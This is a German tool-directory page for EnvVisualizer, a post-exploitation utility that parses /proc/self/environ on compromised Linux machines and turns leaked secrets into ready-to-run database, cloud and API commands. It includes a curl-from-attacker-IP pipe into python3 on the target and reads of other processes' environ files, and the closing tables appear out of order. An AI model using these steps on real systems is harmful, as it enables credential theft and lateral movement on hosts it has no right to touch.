Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
EnvVisualizer — /proc/self/environ auf kompromittierten Linux-Boxen parsen und visualisieren — kategorisiert Umgebungsvariablen nach Tech-Stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker usw.) und generiert nach Schweregrad bewertete Erkenntnisse mit sofort ausführbaren Befehlen | Kitploit
Tools/GitHubGitHub/w4r10ck423/envvisualizer
DefensivwerkzeugeSchwachstellenanalyseKonfigurationsprüfungInformationsbeschaffungPost-ExploitationCTFPenetrationstestsCloud-SicherheitSecret-ErkennungRed Teaming
GitHubw4r10ck423/envvisualizer
44vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

EnvVisualizer

/proc/self/environ auf kompromittierten Linux-Boxen parsen und visualisieren — kategorisiert Umgebungsvariablen nach Tech-Stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker usw.) und generiert nach Schweregrad bewertete Erkenntnisse mit sofort ausführbaren Befehlen

Repository anzeigen
Teilen

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Parst, kategorisiert und visualisiert /proc/self/environ auf kompromittierten Linux-Maschinen.
Verwandelt eine Wand aus verschmolzenem Umgebungsvariablen-Text in strukturierte, farbcodierte Intel — in Sekunden.


Python Platform License Context

Author

Autor: @W4r10ck423


Das Problem

Wenn man auf einer Box landet und /proc/self/environ liest, bekommt man Folgendes:

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer macht daraus Folgendes:

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

Mit installiertem rich erhält jede Kategorie ihre eigene farbcodierte Tabelle.


Funktionen

  • Drei Eingabemodi — Datei direkt lesen (perfekte Genauigkeit), über stdin pipen oder einen Rohstring einfügen
  • Intelligenter Zwei-Klassen-Parser — verarbeitet korrekt verkettete Strings, bei denen Null-Bytes durch Copy-Paste entfernt wurden; erkennt großgeschriebene POSIX-Variablen und bekannte kleingeschriebene Präfix-Variablen (npm_*, node_*, pip_*, etc.)
  • Sechs semantische Kategorien — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System und Other
  • PATH-Erweiterung — jedes Verzeichnis als Aufzählungspunkt statt einer durch Doppelpunkte getrennten Wand
  • Secret-Erkennung — markiert Variablen, deren Namen oder Werte Credential-Mustern entsprechen (TOKEN, KEY, SECRET, PASSWORD, etc.) mit einer ⚠-Warnung
  • Pentest Insights-Panel — zeigt automatisch umsetzbare Erkenntnisse auf: Root-Kontext, Sudo-Eskalation, exponierte Node.js-Debugger-Ports, aktive Lifecycle-Skripte
  • Rich oder Plain — farbcodierte Tabellen mit installiertem rich; saubere Plain-Text-Ausgabe als Fallback (keine Abhängigkeiten erforderlich)

Installation

Option 1 — Klonen und ausführen (empfohlen für Pentest-Umgebungen)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Option 2 — Als Systembefehl installieren

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Option 3 — Einzeldatei-Drop (kein git erforderlich)

Kopiere envvisualizer.py auf die Ziel- oder Angreifer-Maschine. Es läuft ohne Abhängigkeiten:

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Anforderungen

AbhängigkeitVersionErforderlich
Python≥ 3.8Ja
rich≥ 13.0Nein (Plain-Text-Fallback)

Verwendung

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Eingabemodi

MethodeBefehlGenauigkeit
Direktes Dateilesenpython3 envvisualizer.py -f /proc/self/environ✅ Perfekt (Null-Byte-Split)
Stdin-Pipecat /proc/self/environ | python3 envvisualizer.py✅ Perfekt (Null-Byte-Split)
Eingefügter Stringpython3 envvisualizer.py -r 'USER=dev...'✅ Gut (Zwei-Klassen-Heuristik)
Keine Argumente (Demo)python3 envvisualizer.py✅ Perfekt (eigener Prozess)

Tipp: Bevorzuge -f, wann immer du Dateizugriff hast.
Das Null-Byte-Trennzeichen in der echten Datei ist exakt — keine Heuristiken nötig.


Beispiele

Direkt aus proc lesen (beste Genauigkeit)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Über stdin pipen

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

Einen Rohstring einfügen (kopiert aus einer Web-Shell / RCE-Ausgabe)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Plain-Text-Ausgabe (keine rich-Abhängigkeit)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

Ausgabekategorien

Variablen werden in 12 Kategorien gruppiert, die in Prioritätsreihenfolge ausgewertet werden (erster Treffer gewinnt).

KategorieTypische Variablen
🔐 Security / AuthSSH_*, SUDO_*, alles was auf TOKEN, KEY, SECRET, PASSWORD, CREDENTIAL, CERT passt
👤 IdentityUSER, LOGNAME, HOME, SHELL, UID, GID
🗄 DatabasePG*, MYSQL_*, MONGO*, REDIS_*, DATABASE_URL, DB_*, ELASTIC*, CASSANDRA_*, SQLALCHEMY_*
☁ Cloud / InfrastructureAWS_*, GOOGLE_*, AZURE_*, ARM_*, DOCKER_*, KUBERNETES_*, VAULT_*, TF_*, CLOUDFLARE_*
🔄 CI/CD & VCSGITHUB_*, GITLAB_*, CI_*, TRAVIS_*, CIRCLE*, JENKINS_*, HEROKU_*, BUILD_*
🔌 Third-party APIsSTRIPE_*, TWILIO_*, SENDGRID_*, SENTRY_*, DD_*, SLACK_*, OPENAI_*, ALGOLIA_*, AUTH0_*
🕸 Web FrameworksDJANGO_*, FLASK_*, RAILS_*, SPRING_*, , , , , , ,

Pentest Insights

Das Pentest Insights-Panel löst gezielte, stack-bewusste Erkennungen mit vier Schweregraden aus.
Ausführbare Befehle werden dynamisch aus den tatsächlich in der Umgebung gefundenen Werten generiert.

SchweregradPräfixBedeutung
💀 CRITICAL[!!!]Aktives Credential, Secret Key oder Master Key — unmittelbare Auswirkung
⚠ HIGH[!! ]Token, Debug-Modus oder exponierter Dienst — umsetzbarer Angriffspfad
→ MEDIUM[! ]Interessante Information, die bei der Eskalation helfen kann
▶ INFO[ * ]Allgemeiner Kontext über den Prozess und die Umgebung

Erkennungen nach Tech-Stack

StackWas erkannt wird
PostgreSQLPGPASSWORD → erstellt automatisch psql postgresql://user:pass@host/db
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → erstellt automatisch mysql-Befehl
MongoDBMONGO_INITDB_ROOT_* → erstellt automatisch mongosh-Befehl
RedisREDIS_PASSWORD → erstellt automatisch redis-cli -a-Befehl
DB URLsDATABASE_URL, MONGODB_URI, etc. → markiert eingebettete Credentials
AWSKey-Paar → markiert als langfristig oder STS-temporär, schlägt aws sts get-caller-identity vor
GCPGOOGLE_APPLICATION_CREDENTIALS → schlägt gcloud auth activate-service-account vor
AzureAZURE_CLIENT_SECRET → markiert Tenant-ID + schlägt az login --service-principal vor
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → schlägt vault token lookup vor
KubernetesInjizierter KUBERNETES_SERVICE_HOST → markiert Pod-Kontext, schlägt SA-Token-Lesen vor
DockerDOCKER_HOST gesetzt → markiert Daemon-Exposition
GitHub / GitLabTokens → schlägt API-Validierungs-curl-Befehle vor
HerokuHEROKU_API_KEY → markiert mit App-Namen
StripeLive sk_live_* → CRITICAL; Test sk_test_* → MEDIUM
DatadogDD_API_KEY → markiert Zugriff auf Metriken/Logs/Traces

Beispielausgabe (Multi-Stack-Szenario)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

Wie der String-Parser funktioniert

Wenn /proc/self/environ kopiert und eingefügt wird (z. B. aus einer Web-Shell oder curl-Ausgabe), werden Null-Bytes entfernt, wodurch benachbarte Variablen verschmelzen:

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

Ein naiver WORD=-Split würde devnpm_config_user_agent als Schlüssel erzeugen.

EnvVisualizer verwendet einen Zwei-Klassen-Grenzendetektor, der nur bei Folgendem splittet:

  1. Großbuchstaben-dominante Schlüssel — USER, HOME, JOURNAL_STREAM, etc.
  2. Bekannte kleingeschriebene Präfixe — npm_*, node_*, pip_*, java_*, python_*, ruby_*, etc.

Da die Regex npm_config_user_agent innerhalb des verschmolzenen Tokens findet, wird der vorherige Wert automatisch auf dev getrimmt. Kein Lookbehind, keine Word-Boundary-Annahmen — nur das Schlüsselmuster selbst als Anker.


Lizenz

MIT — frei verwendbar, Attribution geschätzt.

Tool herunterladen
ASPNETCORE_*
APP_KEY/ENV/DEBUG
SECRET_KEY_BASE
MIX_ENV
NEXT_*
VITE_*
REACT_APP_*
🐍 App RuntimesPYTHON*, CONDA_*, VIRTUAL_ENV, GEM_*, BUNDLE_*, JAVA_*, JVM_*, MAVEN_*, CATALINA_*, GO*, RUST*, CARGO_*, PHP_*, DOTNET_*, PERL*, DENO_*
📦 NPM / Nodenpm_*, NODE, NODE_ENV, NODE_OPTIONS
📂 Paths & DirsPATH, PWD, *_DIR, *_PREFIX, *_HOME, *_CACHE, INIT_CWD
🌐 Network / Proxy*_PROXY, HOSTNAME, SSL_CERT_*, CURL_CA_BUNDLE, *_URL, *_ADDR
⚙ SystemLANG, TERM, EDITOR, INVOCATION_ID, JOURNAL_STREAM, XDG_*, LC_*
OtherAlles andere, alphabetisch sortiert
SlackSLACK_BOT_TOKEN / SLACK_APP_TOKEN → markiert Workspace-Zugriff
OpenAIOPENAI_API_KEY → markiert Abrechnungs-Exposition
DjangoDJANGO_DEBUG=True → markiert Stack-Trace-Exposition
FlaskFLASK_DEBUG=1 → markiert Werkzeug Interactive Debugger (PIN-Bypass / SSTI)
LaravelAPP_DEBUG=true + APP_KEY=base64:* → markiert Cookie-Forgery-Pfad
RailsRAILS_MASTER_KEY → CRITICAL (entschlüsselt credentials.yml.enc); SECRET_KEY_BASE → Session-Cookie-Forgery
JVMJAVA_TOOL_OPTIONS mit jdwp → markiert Remote-Debug-Port, schlägt jdb -attach vor
TomcatCATALINA_HOME → markiert Pfad zu tomcat-users.xml
Node.js--inspect / --inspect-brk → markiert Debugger, schlägt chrome://inspect vor
KerberosKRB5CCNAME → markiert Ticket-Cache, schlägt klist / Impacket vor
SudoSUDO_USER → zeigt ursprüngliche UID/GID vor der Eskalation